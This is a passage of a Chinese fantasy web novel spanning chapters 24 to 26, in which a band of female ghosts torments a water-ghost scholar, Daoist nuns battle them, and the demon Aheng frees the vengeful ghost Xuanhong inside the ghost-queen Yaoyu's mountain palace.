霖娘简直不知该如何形容这一幕,她们戏耍着那何秀才,却像扑蝶一般文雅又灵动,众女鬼将何秀才耍得团团转,看他崩溃地哭,她们笑得更欢。 她们时不时用扇子敲他的头,他的鼻子,又或者踢他几脚,将他故意踢到其他姐妹那儿去,再由姐妹踢回来。 “阿姮……” 霖娘有些看不下去了,拽了拽阿姮的衣袖,话还没说完,却见那何秀才忽然大叫:“我跟你们拼了!” 他周身扑开层层水浪,一时间女鬼躲避不及,被水迎头浇了个透,女鬼们个个惊呼起来,连连后退几步,个个身上滴水,形容狼狈。 此时,堂中忽然死寂。 丝竹声不再。 女鬼们立在那里,她们看着何秀才,神情逐渐平静下来,却无端显得有些阴冷,何秀才胸口里突突地跳,他屁股还挨在地上,忍不住往后挪了挪:“你们……你们在此为恶,伤人性命,阎王爷已经有所耳闻,说不定哪一日,他便会来掀了你们这鬼窝!” 女鬼们依旧盯着他,不笑,也不闹。 无尽的阴冷爬上何秀才的后颈,他觉得这些女鬼的眼神竟然比他待了好几年的那条河的河水还要冷。 “哈哈哈哈哈哈……” 璇红忽然仰头笑起来,这洞窟中不断回荡着她的笑声,再看向那何秀才,她一把攥住他的下巴,垂眉,低眼,阴森的鬼气刹那缭绕在何秀才的周身,她美丽的面容尽是嘲讽:“因为你这副寡淡的样貌,这游戏也变得一点都不好玩。” 她鲜红的指甲轻轻擦着何秀才的脸:“那我们不如来玩一个新的游戏,譬如,你那位阎王爷在阴司里会玩的?” 何秀才浑身止不住地发抖:“什,什么……” 璇红微微一笑:“你不是替他办阴差吗?那你说,我们这些恶鬼若是下了阴司,会被如何对待啊?” 何秀才眼瞳震颤。 “水鬼剐起来,也不知是淌血,还是淌水。” 晴芸在旁,轻摇团扇。 “还是斫下他的四肢?” 又有女鬼说道。 “他方才弄脏了我的衣裙,该剥他一层水鬼皮啊。” 女鬼们兀自商量着,就像是聚在一处说什么香粉好用,什么茶点好吃似的。 “先拔了他的舌头。” 璇红漫不经心地说着,涂满丹蔻的指甲忽然变得很长,她抓着何秀才的发髻,尖锐的指甲抵入他口中去。 何秀才瞪大双眼,发出呜鸣,却根本挣脱不开。 那些女鬼们又笑了起来。 一席金瓯玉碗,光映满堂,再看雕梁花罩,华彩非常,女鬼们衣装鲜艳若古画仕女一般娇俏美丽,可这洞窟终究阴寒极了,霖娘此时方才感受到这种从嶙峋石壁中渗出的浓浓的阴寒,她吓得不轻,再看阿姮,却见她一边拨弄着布娃娃胸前的珠串,一边兴味十足地欣赏着女鬼们的作为。 霖娘不由喊道:“阿姮……救救他!” 阿姮还没什么反应,立在群鬼身后的春梁先出了声:“璇红姐姐,不要!” “春梁,你不要管这里的事。” 晴芸看了她一眼。 璇红根本没有理会春梁,何秀才被迫大张着嘴,被她尖利的指甲掐住舌头,他瞳孔紧缩,却是此时,一道剑光闪过璇红眼前,璇红立即翻身躲开,轻飘飘地落去阶上。 一众女鬼退开到阶前去,她们凝视着那被两名素衣女鬼护在当中的蓝衣女鬼。 璇红居高临下,她看着那蓝衣女鬼手中的剑,唇边浮出笑意:“你终于按捺不住了?” 那蓝衣女鬼一怔,似乎没料到璇红竟然早就有所察觉,随后她抬手化去脸上那张鬼面,一时间,她身上的鬼气退却,俨然是一个活人:“你这恶鬼,不仅害人,连这只水鬼你也不肯放过!” 她身边两名素衣女鬼亦化去鬼面,剥下那层幻术,她们一身灰白氅衣,束髻,簪白玉莲花冠,广袖一翻,剑挽银光。 “原来是三位女冠。” 璇红一笑,眼波流转:“我说怎么闻不到一丁点臭男人的味,不过你们身上的檀香味,未免也太重了些。” 阿姮也在打量那三名簪白玉莲花冠的女道士,她轻轻嗅闻了一下,果然有一股香味,但那蓝衣女子身上,却有一种更为馥郁的芳香。 那蓝衣女冠冷笑一声:“想不到你这鬼物鼻子如此灵敏!” “我一向不与女子为难,”璇红抬手摸了摸鬓发,一副很好说话的样子,“你们最好快些将我那三位姐妹放回来,如此我还可以让你们离开。” “放回来?如何放回来?” 那蓝衣女冠拥有一副年轻娇俏的面容,说话间轻抬起下颌,有些浑然天成的傲气:“你那三位姐妹身上各有各的人命血债,如今已身在阴司,什么业债恶果,都要清算干净了!” 一听“阴司”二字,那璇红一双秋水柔波似的眼陡然迸发凶光:“果然道士都不是好东西!那么今日,你们且都留下命来!” 柱边纱幔飞扬,满堂灯火映照鬼女们鲜艳的衣装,惨白的面容,她们全都屈起指节,展开尖利的指甲,用通红的眼盯住那三名女冠,蓄势一瞬,一拥而上。 两名素衣女冠手持轻剑,将那蓝衣女冠围护其中,而那蓝衣女冠并不露怯,手中剑光一闪,横劈过那女鬼晴芸长长的指甲。 一时间,鬼女们与几个女冠缠作一团,金樽玉箸散落一地,美酒佳肴尽毁于席,三名女冠很快被女鬼们分而攻之,那蓝衣女冠更是被晴芸逼得后退数步,后腰不慎碰到桌沿,上身倒向席上,阴寒的风迎面袭来,蓝衣女冠迅速侧过脸去,只听得一阵刮擦的刺耳声响,蓝衣女冠再回过头低下眼睛,只见晴芸指甲并卷如钩,没入桌中。 晴芸一击不中,另一只手立即接着往蓝衣女冠喉咙去,蓝衣女冠则以轻剑相挡,剑锋微侧,又削断晴芸一寸指甲,随之一脚踢在晴芸腹部。 晴芸摔出去,后背抵上立柱,摔落在地。 蓝衣女冠还躺在桌上,正要起身,却对上坐在桌边的那红衣女子好奇的目光,那女子抱着一个布娃娃,分毫没有要动手的意思,仿佛从来身在局外。 那璇红观察着那两名素衣女冠一边应对鬼女们的杀招,一边奋力地靠向那蓝衣女冠,她唇边浮出阴冷的笑意,见那蓝衣女冠轻巧地一个起身,璇红猛然飞身上去,她拔下鬓边的凤钗,重击蓝衣女冠迎上来的剑锋。 剑刃陡然断裂,蓝衣女冠脸上浮出诧异之色,那两名素衣女冠见璇红身带罡风,扑了过去,她们脸色大变,齐声:“小姐!” 然而女鬼若五色重云般层层叠叠围困她们,使她们没有办法接近。 也是此时,罡风迎面,蓝衣女冠却发现自己竟然无法动弹了,她脸上终于浮出一分惊慌之色,手中断剑却无论如何抬不起来。 阿姮亦感受到那罡风,她兴致正浓,见璇红指间凤钗尖锐的尾端直指那蓝衣女冠喉咙正中,忽然间,她怀中的布娃娃化为一道金芒,紧接着,一道银白的法绳若灵蛇游弋,顷刻缠住璇红执凤钗的手。 璇红一惊,她的视线自缠在手腕的法绳缓缓看去,还没看清,那法绳便脱离她手腕,随后在堂中扫了一圈,逼得满窟鬼女顷刻退去璇红身边。 璇红被众姐妹簇拥,此时她终于得见那手持法绳的,竟然是一个黑衣少年,那少年一身宝饰,神观若雪,此时洞中阴风阵阵,少年发若银灰,黑色的发带飘逸,尾端的珠玉轻轻碰撞着发出清音。 鬼女们听不得他身上的清音,个个头脑轰鸣,耳中生疼。 那两名素衣女冠趁此机会,立即围护去那蓝衣女冠身边,而春梁捂着耳朵,只观那少年衣饰,她便立即看向坐在桌边的阿姮。 晴芸也在看阿姮,果然,她怀中的布娃娃不见了。 阿姮一手撑着下巴,一脸无辜地笑:“没想到我路上捡的布娃娃,竟然是个人啊。” 她又在玩了。 程净竹看了她一眼。 “傀儡术,怪不得我闻不到你的味道。” 璇红的目光几乎黏在少年身上,她脸颊飞霞,红唇勾起:“你也是道士吗?与她们一路的?小道长,你长得真好,比我见过的所有男人都要好,早知你在这里,我便该选你与我玩这个游戏,那才有趣!” 她拨开鬼群,款步上前,抬起手来,红艳艳的指甲几乎就要触碰少年的衣襟,而阿姮盯着她的手,忽然开口:“可他是我的布娃娃。” 璇红的手一顿,看向坐在桌边的阿姮,见她情态天真,似乎有些不高兴,璇红忽然轻声一笑。 “尔等鬼物,休要嚣张!” 也是此时,那蓝衣女冠忽然以手握住断剑,划出血来,那两名素衣女冠见状,有些慌神,却又很快屏息,同时握剑,以血化阵。 顿时洞窟中狂风四起,一道混合着血气的金光大阵逐渐凝成,璇红脸色一变,她周身立即漫出黑气,若蜂群涌向女冠。 “让开。” 程净竹出声提醒那三名女冠的同时,立即挥出法绳袭向璇红,璇红本能以双掌抵挡,却被那法绳击中,顿时身躯散成白光,流向甬道口,才又化为人形,她低头只见自己满掌被灼烧的痕迹,她此时终于意识到,这少年并不好对付。 那三名女冠避退及时,并未被璇红伤到,此时她们的诛妖伏鬼阵已成,满窟女鬼顿时痛不欲生,而霖娘幸有元真夫人法宝在身,并未受到什么影响,那撅着屁股躲在椅子底下的何秀才也因为有龙宫宝衣而并未被这阵法所束。 阿姮却觉得这阵法的光芒太刺眼,刺得她满腔燥火,霖娘看她脸色不对,便立即上前拉住她:“阿姮你怎么了?” 白符顷刻落地,阿姮身上红云顿涌,她心中涌起无尽的破坏之欲,暗红的双眸一抬,红云漫卷,洞顶转动的金光阵法顷刻发出清脆的碎裂声。 一时间地动山摇,雕梁坠落,立柱倒塌,花瓶砰然碎了一地,女鬼们惊恐地踩过满地花枝。 “璇红。” 这一刻,一道温和的,平静的声音自甬道深处传来。 璇红听见这声音,一瞬回过头去,顿时风雾扑面而来,顷刻盈满洞窟,白茫茫的一片,朦胧中,霖娘发觉有人牵住了她的手。 霖娘转头,只见浓雾中隐约露出春梁的脸,她焦急地说:“快跟我们走!” “……哎?” 霖娘还没来得及反应,便被春梁拽着趁雾而飞,而阿姮也因为被霖娘紧紧拉着的缘故,身影也跟着没入浓雾。 最后一刻, 她回头,看向碎裂的金光阵法下,茫茫白雾中,那黑衣少年以一双沉静若水的眼凝视着她。 第25章 第25章 “喜欢啊。” 白茫茫的雾气几乎笼罩整个不枯谷, 阿姮自觉身若轻风,被霖娘拉着漂浮于漆黑夜色之中,不多时,雾渐散, 风渐止。 阿姮垂眸, 最先看到自己踩在潮湿山径上的双足, 白雾彻底散尽之前,阿姮迅速化为红云,藏匿于霖娘衣角底下。 霖娘手中空空, 望四周夜色笼罩, 山野苍翠, 她不禁张口:“阿……” “别叫。” 风音落在霖娘耳边, 打断她:“若你不想被她们发现我的身份的话。” 霖娘一下闭起嘴巴,抬起头, 只见一片雨雾绵绵, 而那些鬼女们个个心有余悸,却出奇的安静, 霖娘顺着她们的视线, 看向那名与红璇无声对峙的女子。 阿姮藏在霖娘的衣角, 认出了她, 竟是那个在榕树镇巷子中给过她劝告的年轻女子。 但不同于白日所见, 阿姮此时方才辨出她原来穿着一身墨蓝的衫裙,而此刻仍撑的那把伞,红色的伞面, 洁白的牡丹。 伞下,女子乌发云髻,簪一支辑珍珠三尾偏凤, 凤尾镶红宝珠,凤喙则衔珍珠流苏,髻边另缀蓝色珠花几簇,她脸色苍白,眉目静若平湖,容貌淡而雅。 “璇红,你闯下大祸了。” 雨雾斜吹过她纸伞边沿,她的声音中隐含叹息。 璇红冷冷一笑:“再大的祸,也是我闯的,你急什么?” “璇红姐姐,不要这么对国主说话。” 春梁小声劝道。 璇红哪里肯理会她,仍注视着那女子,道:“我早就说过,你是你,我是我,你管束不了我,我不论做什么,也都和你没有任何关系!” 伞下,女子不惊不怒:“可你的作为,便是万艳山的作为。” 璇红神情一滞。 “你先与我来,我有些话要说。” 那女子转过身去,偏凤尾羽颤颤,流苏晶莹微晃。 璇红凝视她背影片刻,还是跟了上去。 “春梁,你领众姐妹回去梳洗,暂作休整。” 鬼女们正看着她二人的背影,却听到雨雾中又传来那女子的声音。 春梁应了声“是”,转头见晴芸她们似乎有些局促不安,她便走了过去,轻轻握住晴芸的手,道:“晴芸姐姐,众位姐妹,快与我一道回去吧,难道你们不想其他姐妹吗?这三年来,大家都想着你们呢。” 春梁一番话,鬼女们面上皆有些松动,那晴芸沉默不语,却还是领着姐妹们往前去了。 春梁这才回过头,只见霖娘一个,她愣了一下:“你那位妹妹呢?” 霖娘做出一副惊慌的样子:“都怪我没拉紧她!” 春梁连忙上前握住霖娘的手,道:“妹妹也别太着急,你先随我走,我们……我们等国主与璇红姐姐叙话后,再请她们想想办法。” 霖娘一副伤心的模样,点点头,跟着春梁去了。 顺着山径往前走了不过片刻,藏在霖娘衣角的阿姮远远望见前面横建一石牌,上面的字迹不知被什么磨去,不见细微,穿过牌坊,地上则覆盖砖石,也许是年深日久,疏于打理,砖缝中杂草丛生,一片萧条。 砖地尽头,则是一截斜铺向上的石阶,石阶太长太高,霖娘拾阶而上,近上面方才从一片朦胧的雾色中望见几点灯火。 越往上,则越看清那几点灯火乃是点缀一道宫门前,那门上金钉浮沤,虽有所岁月伤损,却依旧被那灯影照得残辉熠熠。 春梁与晴芸相扶着率先走去门前,那高大而沉重的宫门便徐徐打开,一众鬼女怀着复杂的心绪踏入门槛,霖娘则慢慢缀在尾端。 门外衰草连天,破败荒凉,却不想门内竟别有洞天,越往里去,越是群墙朱粉,门栏窗槅,琢尽四时花样,廊庑四通,移步见景。 阿姮与霖娘都从未见过这些文雅景致,一时间眼花缭乱,那些女鬼们似乎许久未归,此时一边走着,一边打量四周。 阿姮忽然听见一些动静,循声望去,只见不远藤萝掩映处,微露一径,很快那片浓绿被一阵风吹动,一片淡白的雾色里,逐渐显露一群衣装明亮的女子,她们梳着整齐若云的发髻,发上绢花珠翠,鲜妍各异。 有的手持轻纱团扇,有的则持绣帕,她们很快顺着小径而来,抬头瞧见晴芸春梁等人,便个个露出欣喜的神情。 “晴芸!真是晴芸她们回来了!” 有人喊道。 她们欢笑着跑来簇拥着这些归来的鬼女们,有人抱住晴芸的手臂:“晴芸妹妹!你一走就是三年,怎么这样狠心!” 晴芸不禁泪落:“我……” 张了口,她又什么都说不出来。 “姐妹们,快让晴芸姐姐她们去你们那儿梳洗吧?有什么话,都可以在一块儿说个明白了。” 春梁看她们都一副要哭的样子,便连忙说道。 原来这些女子也都是女鬼。 听了春梁的话,她们也顾不得哭泣,赶忙将晴芸等人领去园中,转眼,廊庑上只剩下春梁与霖娘。 春梁正欲对她说些什么,却见方才她们进来的那道月洞门外,有二女相偕而来,霖娘也转身看了过去,只见那年轻貌美的女鬼领着一个佝偻着身子的老妪。 那老妪一身粗衣,颈子上缠着一块麻布,半裹住她那张被火灼过的脸,她们走得近了,霖娘终于确定:“……老婆婆?” 那老妪闻声抬首,她并不记得霖娘的容貌,因为她这双老眼太不中用了,但见她那身衣衫颜色,老妪愣了一下:“你们……” 这老妪,正是阿姮与霖娘在不枯谷外的溪边,遇见的那个。 但她分明又有些不一样了。 阿姮暗自窥视她,她分毫没有活人的血色,显然已经是个女鬼了。 园中忽然落絮,隐约散发缕缕白光,飘入廊庑中来,几点落在那老妪身上,又或者擦过她生前被烧伤的脸颊。 霖娘骤然瞪大双眼。 阿姮兴味愈发浓,她看着那老妪,不,眼前哪里还有什么老妪,只有一个妙龄女子,她一身粗布衣裙,乌黑的发被烂布条挽起成髻,戴一支古旧的木簪,面容光滑而白皙,颇有清丽之姿。 颈间的麻布巾子被风卷落去阶下,她愣愣地伸手抚摸自己的脸,却再没有那种粗糙的,凹凸不平的触感,她眼睫颤动,眼眶骤然红透,胸膛起伏,语无伦次:“我……这是……” 那名领她来的女鬼轻轻揽住她的肩,指向园子里那棵参天大树,阿姮与霖娘也随之看去,只见那树碧绿成荫,中有白絮,又似堆雪,莹光洁白。 “那是国主对我们的庇护。” 那女鬼说道。 阿姮看着那树,心中顿时明白过来,难怪她从头至尾见到的都是些妙龄的女鬼,原来那位女国主将自己修炼所得尽用此树,以此为阵眼,庇护整个园中的女鬼,还还她们青春。 “国主?” 那一朝恢复青春的女子摸着自己的脸,还有些迟钝:“不是……鬼娘娘么?” “你误会了。” 春梁说道:“鬼娘娘并非国主,我们的国主名唤——峣雨。” 园中有一处临湖的楼阁,阁中朱窗雕花,檐下灯笼顺窗槅漏入碎光,铺得室内满地斑驳,一年轻女子临窗而立,细碎的光影投落在她墨蓝的裙袂,鬓边流苏珠影剔透。 “峣雨!” 昏昧的室内,珠帘轻晃,那道满含戾气的女声尖刻极了:“你骗我!你何时变得这样歹毒,竟敢用我的骨灰来困我!” 峣雨闻声,转过脸去,珠帘内,隐约放有一个坛子,那坛子是才从泥里挖出来的,此时若有烛影朗照,则会显出那坛子上的泥,隐隐的发红,发黑,血腥味十足。 坛子周身被红线缠绕,那道飘浮于半空的女子身影也被红线缠绕,她越是用力挣扎,坛子上被红线穿着的铜钱便叮叮当当地碰撞出急促的声响。 “这几年来,你处处躲我,我若不如此,你便又要跑下山去。” 峣雨说道。 “我早说过不用你管!” 女子嗓音发狠:“我做什么都跟你无关!你快放开我!” 峣雨立在窗边,风雨不动。 “我最恨你这样……”女子盯住她,恨不能咬碎齿关,“你以为你在此设下阵法庇护她们,便算是为了她们好么?你是圣人,天底下只你一个女圣人,你心中没有怨,也没有恨,可你问问她们呢?她们心中若是没有怨恨,谁会在此!” 峣雨闭目,岿然不动。 “我们是鬼,是怨恨难消的恶鬼。” 那女子语气阴冷:“你难道忘了你曾经答应过我什么?你又答应过她们什么?我们的仇,我们的怨,在你心里,是不是一点都不重要!” “重要。” 峣雨看向她,开口:“可你不能滥杀无辜,你杀了太多男人,璇红,是我没有约束好你。” “你凭什么约束我?” 璇红面露嘲讽,哼笑:“怎么?她们唤你一声国主,你还真把自己当成一国之主了?哈哈哈哈哈哈……” 她笑起来,好一会儿,才阴狠道:“你醒醒吧!什么女儿国……这只是一座山,是你我的葬身之地!” 她又说道:“杀男人怎么了?我恨不得将他们杀干杀净才好!若没有我用他们的血做花肥,照雪坡上那片花也不会开得那么好……” 峣雨再度沉默,璇红知道,一般峣雨自知说什么也无用的时候便会沉默。 但这并不代表峣雨就认同了她的话。 室内静谧良久,璇红平静了许多,她开口道:“峣雨,你放我走,我必须走,说不定今日,一切都要有个了结。” 峣雨闻言,抬起眼:“……什么?” “这么多年,不论是你,还是我,我们不知想了多少办法,”璇红看着她,“却始终离不开巢州。” “今日在我洞窟当中,那三名女冠设下那诛妖伏鬼之阵,我观她们年纪不大,按道理讲,那阵法绝不该有那样的威力。” 峣雨神情微动:“你是说,那三名女冠……” “她们三人之中,定然有非常血脉。” 璇红语气沉沉。 峣雨袖中的手一瞬蜷握起来。 “这是一个机会!” 璇红紧紧地盯住她:“不论是你,还是我,我们都等了太久,今日机会当前,难道你还要与我在此争论不休?峣雨,这份仇怨,难道只是我的么?” 当然不是。 峣雨紧紧地攥着手,她沉默了很久很久,璇红隔着珠帘一直凝视着她,终于,她看到峣雨从窗边向她走来,璇红眼中流露欣喜:“我就知道你也不愿意错过这个机会。” 峣雨抬手掀开珠帘,望着半空中被红线所缚的璇红:“你杀了那些受你诱惑的男人,也杀光了那些跑上山来的道士,连阴司阎王派来探路的水鬼你也一个都没有放过。” “……你什么意思?”璇红心内有了些不好的觉察,她唇边的笑意凝滞。 峣雨不言,手指忽然松开珠帘。 隔着晶莹晃动的帘幕,璇红看她转身朝槅门走去,嗓音一瞬尖锐:“峣雨!” 峣雨步履一顿,她没有回过头,只道:“我知道,这么多年,你心中有恨,你一直在受苦,其实,我也恨。” “恨我无能,不能早为你们讨一个公道,我不知道天上地下,哪里才有我们要的公道。” 槅门外,是沙沙的雨声,峣雨打开门,迎面便是潮湿的冷风,她抬起头,遥望夜色下的山石湖景:“你杀水鬼,必将激怒阴司,天一亮,那些道士也会摸上山来,时间不多了。” “你去哪儿?你去哪儿!” 璇红尖叫道。 “我知道,你从来不是与我作对,你也不是真的恨我。” 冷风吹动峣雨的衣摆,若深邃海面褶皱的粼波,她侧过脸,深深看了一眼帘中的璇红,道:“你说得对,我也不愿错过这个机会。” 峣雨衣袂带风,身影很快隐没。 那道槅门忽然“砰”的一声合上,阻隔了一夜风雨。 “回来!” 璇红失控般,嗓音尖刻:“你回来!” 她的声息被禁锢在阁中,阁外一片安宁,那春梁领着霖娘行走在园子里,廊庑中灯若天星,照见园中白石崚嶒,纵横相立,再往前,又有翠嶂当前,半遮半露,更添幽趣,霖娘远远见一美貌女子在对面廊下坐,手中握扇,膝上翻开一卷书,正垂眉低首,似在念什么诗句。 “此处便是原先的行宫,”春梁一边走,一边对霖娘说,“原先这里也没这么多姐妹,只是我们国主怜惜女子,就像方才那位,她生前总受丈夫虐打,有一回她丈夫醉酒烧了屋子,却一个人跑了,没想着救她,是国主施法救的她,又惩治了她丈夫,没两年,她丈夫就死了。” “因为国主时常襄助那些苦命女子,又从不现身,她们又听说传闻中的鬼娘娘,便以为鬼娘娘便是国主,有些女子死后不愿意去阴司,就会在国主冥寿这一日给国主献香,国主闻到那香味,便会让人去领她们来这里。” “女儿国,是我们这些不肯去阴司的孤魂野鬼给这里的名字,”春梁拉着霖娘,穿过一片婆娑树影,“国主其实并不愿意我们这么称呼她,是我们非要奉她为国主,因为她对我们实在是太好了。” 霖娘一时不知该说些什么,方才不过匆匆一面,她也没有仔细去看那位峣雨国主,但她走过廊庑,看向那还在对面廊下看书的妙龄女鬼。 这里本该是个阴森的鬼窟,可她却只嗅到这满园馥郁的花木香味,竟然心中有点安宁。 随春梁穿过石洞,又寻小径走到一湖边,跨过湖上拱桥,停在一楼阁前,春梁上前,轻轻敲了敲门:“国主,璇红姐姐?” “春梁!” 楼内,璇红听到春梁的声音,她先是有些欣喜,但转念又想春梁手无缚鸡之力,根本无法替她解开禁锢,便立即沉声道:“快去找晴芸!” “……什么?” 春梁愣了一下。 璇红早已心乱如麻,她眼眶气得通红:“你让晴芸她们出去,去找峣雨!” 春梁吓得不轻,几乎呆住,但顷刻,她反应过来又连忙转身要跑,但见霖娘,她又顿住,霖娘忙说:“你快先去吧!” 春梁也顾不得其他了,赶紧去了。 满园的安宁,似乎被璇红的歇斯底里给打碎了,檐外风雨愈浓。 楼阁前后几乎无人,红雾从霖娘的衣角散开,很快凝聚成一个女子的身形,一道房门之隔,璇红几乎立刻敏锐地嗅闻到那股非比寻常的妖气。 “姑娘。” 璇红抬眸,透过珠帘,望向槅门:“姑娘何不进来坐一坐呢?” 霖娘紧紧抱着阿姮的手臂,见阿姮抬手要推门,她有点紧张地喊了声:“阿姮……” 门内,璇红听到霖娘这一声,她又开口:“阿姮姑娘,进来吧。” 声音娇软,好似诱引。 她紧紧盯着那朱红的槅门。 “吱呀”的一声,门外的灯火率先铺入室内,璇红看到那一抹绯红的颜色,很快,门被推开,外面灯下,两个女子显露身形。 璇红只盯着那一抹红。 阿姮不紧不慢地进了屋中,抬眸只见珠帘绣幕,又嗅满室温软芳香,靠窗处,梳妆台上一方宝镜,阿姮定步,那镜中正好照她半边身影,镜边胭脂香粉,满盒金银珠饰,只是盒面上雕刻的纹饰有些怪,阿姮细看之下,竟然是一对男女。 再看壁上挂画,一片芳草野径中,仍是一对男女,衣衫半褪,若鸳鸯交颈,亲昵非常,阿姮“咦”了一声,有些好奇地走近。 “这,这都是什么……” 霖娘双颊爆红,语无伦次,她连忙去捂阿姮的眼睛:“你不要看!” 璇红娇柔的笑声传来,阿姮拽下霖娘的手,侧过脸看去,只见那道微微摇晃的珠帘中一只沾泥的坛子放在那儿,上面缠满了红线,铜钱在上面轻轻碰撞。 阿姮嗅到那浑浊的血腥味。 “害什么羞呢?” 璇红在帘内笑:“男女之事而已,男人可以风流,我们女子就风流不得?” “什么是男女之事?” 阿姮歪着头,问。 “你快别问了!!” 霖娘的脸简直快烫到爆炸。 璇红的声音慢悠悠的:“就是……” 霖娘拉不动阿姮,她转过头一溜烟儿往门外去了,就站在门外,捂着耳朵,红着脸,盯着阿姮。 “我知道,今日那诛妖伏鬼阵是你弄坏的。” 璇红话锋忽然一转。 阿姮原本在看门外的霖娘,听见璇红这句话,她转过脸来,走到那珠帘边上,一根手指勾开帘子,看向被红线束缚在半空之间的璇红,微微一笑:“哦,那么你要怎样呢?” 璇红亦对她笑:“我能怎样?你也看到我的狼狈了,我只是想求你解开我骨灰坛上的红线,放我出去,那些臭道士若是上了山,对我,对你都没有好处,不是吗?” “还是说,你果真喜欢那个小道长?我可要劝你一句,就算是皮囊再好的男人,里子也都是腥的,臭的。” “他才不臭。” 阿姮说道。 他的血,再馥郁的花木,也不及其芳香。 璇红沉默了一瞬,又说:“可你是妖邪,他与你天生就不是同道,你跟在他身边,无异于玩火自焚。” 阿姮把玩着珠帘,却问:“你觉得你可以杀了他吗?” 璇红愣了一下,她这些年见惯风月,她确定自己从这妖邪脸上找不出分毫人类的情绪,她有些不确定地问:“你不喜欢他?” “喜欢啊。” 阿姮说道。 他的血,他的心脏,她都喜欢。 璇红却越发确信,这个阿姮姑娘果然不知道什么叫做喜欢,她问道:“那你跟在他身边,是为了什么?” “我想要他的心。” 霖娘的手段实在是太慢了,阿姮嗅到坛子上浑浊的血腥味,心中的燥意更甚,她难以抑制地想念起小神仙的血味。 “可他是一副金身,若非重创,金身难破,你凭什么觉得你可以杀了他?” 她说。 璇红此时终于看清这阿姮妖邪的本性,她当然不会同天真的霖娘一样,将阿姮这番话当成女儿家的情意,这分明是一个妖邪冰冷的,血腥的本性。 璇红眼眉弯起,轻声笑:“阿姮姑娘,你过来。” 阿姮当然不担心这璇红能有什么手段伤她,她穿过珠帘,朝璇红走了过去,霖娘在门外看到这一幕,她一下担心起来,立即奔入室内:“阿姮你别靠她太近,当心她……” 霖娘话还没有说完,隔着那道帘子,她看见阿姮已经靠了过去,而那璇红则低首,凑近阿姮的耳边。 室内光影昏昧,阿姮看到璇红身后有一扇细纱屏风,屏风上尽是衣衫不整的男女,极尽亲昵,她耳边,是璇红含笑的低语: “阿姮姑娘,谁说金身一定要重创才能破?其实,还有一法……”《 》 25-30 第26章 第26章 “他已经对我退避三舍了。”…… 室内香风如缕, 珠帘晶莹晃动,霖娘也不知那璇红凑在阿姮耳边说了些什么,只见她红艳艳的唇微勾着几分笑意,轻声道:“阿姮姑娘, 你如此相貌, 何愁不成呢?” 阿姮的目光从那屏风缓缓移到她的脸:“你可不要骗我。” 璇红自然感受到她言辞间的危险意味, 璇红眼波流转,好似嗔怪:“我有什么好骗姑娘的?我可有求于姑娘你呢。” 峣雨设下的阵法并非是普通鬼魅可以破除的,便是璇红此等恶鬼, 她亦受束于自己的骨灰, 不敢轻举妄动, 而今她唯一可以指望的, 便是眼前这妖邪。 霖娘方才被这室内的陈设羞得逃出了门外,根本不知这璇红跟阿姮说了些什么, 她几步正要上前, 却见珠帘震动,随后一阵阴冷的风拂面, 霖娘低头看向帘内, 只见地上那裹着血泥的坛子上, 铜钱疯狂碰撞, 转瞬, 坛子上的红线崩断,一道莹白的光自帘内流散至门外去,很快消失。 霖娘定睛一看, 帘内哪里还有璇红,她大惊:“阿姮,你怎么能放她走呢?” “为什么不能?” 阿姮掀开珠帘, 露出半张脸。 “那峣雨国主将她困在这里,必然是不想她再去作恶,”霖娘面露焦急,“你将她放走,万一她再杀人怎么办?” “你是说那些摸上山的道士?” 阿姮几步走出来:“比她强的,自然不会为她所伤,比她弱的,死了,便是输了,又有什么好可惜的?” 她顿了一下,又慢悠悠道:“何况,你怎知她一定是去作恶?” 阿姮不是人类,自然不明白人类为什么要分什么好坏善恶,她更贴近于兽类最原始的,血腥的本能,强与弱决定赢与输,赢与输即是生与死。 “怎么能用输赢决定人命呢?” 霖娘见阿姮往门那边走去,她连忙跟上去:“阿姮,我们快跟过去看看吧?” “要去你去。” 阿姮踏出门槛。 她要马上下山去找小神仙。 霖娘眼见阿姮步履轻快地往右边廊庑上去,她抿紧嘴唇,跺了跺脚,转身跑了。 听见那阵越来越远的步履声,阿姮停下来,转过脸,只见霖娘奔入重重花木中,穿石山,过小径,很快不见了。 那是璇红消失的方向。 岐泽虽是小国,却也有过十分富足的时候,这座坐落在万艳山上的行宫盘踞半山,十分阔大,又因先帝十分喜爱南边他国的园林造景,便选在巢州这么个冬暖夏凉之地建造了岐泽国中唯一的园林行宫。 只是先帝无福,而今上又不懂得南边的雅趣,以至于这行宫荒废几十春秋,只是外面如何荒草连天,萧瑟破败,里面却佳木葱茏,香草蓊郁,园子中翠意最浓之处,有个角门,春梁才在此目送晴芸她们出去,转过身,便见一道莹白的光穿过花木而来,凝出一女子身形,春梁一见她,便忙唤了声:“璇红姐姐!” “到底出了什么事?国主怎么开了阵法?” 春梁焦急地问道。 璇红抬起头看了一眼空中一道细密的网微微泛着柔和的光,那是峣雨非必要之时不会开启的阵法,阵法一旦开启,园中的鬼女们便不能踏出此地一步,只有这个角门还未彻底被封死,但再过不久,这里也再不能出入。 璇红立即问春梁道:“晴芸她们出去了吗?” “她们已经出去了,”春梁心中十分不安,她几步走近,“璇红姐姐,你就告诉我吧,到底怎么了?是那几个女冠上山了?还是其他什么……” “她们敢上山来那倒好了。” 璇红唇边浮出冷笑,她回过头,望了一眼与花木相映的雕甍绣槛,细看之下,不远处的顽石上还吊着一只被园中姐妹们玩过的纸鸢,雨雾之中,它湿答答的,写在上面的诗句都洇透了。 “春梁,好好与姐妹们待在一处。” 璇红回过头,只看了她一眼,便往角门外去了。 此时夜雨正浓,不枯谷中雾气潮湿,那蓝衣女冠皱着眉头,睨着挡在自己身前的两名素衣女冠:“六师姐,七师姐,那阵法明明有效,若乘胜追击,还怕那鬼娘娘不是你我瓮中之鳖?” “小姐,我二人年纪不够,修为尚浅,那阵法之所以有用,全仰仗小姐您的血脉,万艳山上情况未明,我等实在不敢让小姐再以身犯险。” 一素衣女冠拱手说道。 “我当然知道。” 蓝衣女冠不过十七八岁的年纪,方才在鬼窟里走了一遭却分毫没有惧意,她摊开自己的手掌,掌心一道血痕鲜艳:“既然我的血如此有用,那我又何妨再用它一回呢?二位师姐与我同行,早该知道我与你们一样有一颗斩妖除魔的道心,万艳山上再多魑魅魍魉,我也要一探究竟。” 两名素衣女冠面面相觑,随后那年纪稍长一些的女冠拱手道:“如今只我们三人恐怕不够,不如我们再等一等,我早已传信给观中师兄师姐,等他们赶来,我们再……” “何必那么麻烦?” 蓝衣女冠打断她:“难道只有我们想去万艳山?” 